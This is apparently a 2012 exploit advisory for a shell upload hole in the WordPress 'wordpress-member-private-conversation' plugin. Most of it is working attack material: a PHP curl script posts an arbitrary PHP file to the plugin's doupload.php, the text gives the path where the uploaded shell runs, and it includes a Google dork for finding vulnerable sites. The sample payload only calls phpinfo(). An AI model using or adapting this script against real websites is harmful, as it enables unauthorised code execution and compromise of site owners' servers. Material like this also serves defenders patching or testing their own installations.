##################################################
# Description : Wordpress Plugins - Nmedia WordPress Member Conversation Shell Upload Vulnerability
# Version : 1.35.0
# Link : http://wordpress.org/extend/plugins/wordpress-member-private-conversation/
# Plugins : http://downloads.wordpress.org/plugin/wordpress-member-private-conversation.1.3.zip
# Date : 26-05-2012
# Google Dork : inurl:/wp-content/plugins/wordpress-member-private-conversation/
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################
Exploit :
PostShell.php
<?php
$uploadfile="lo.php";
$ch =
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/wordpress-member-private-conversation/doupload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>"/test/"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/user_uploads/test/lo.php
lo.php
<?php
phpinfo();
?>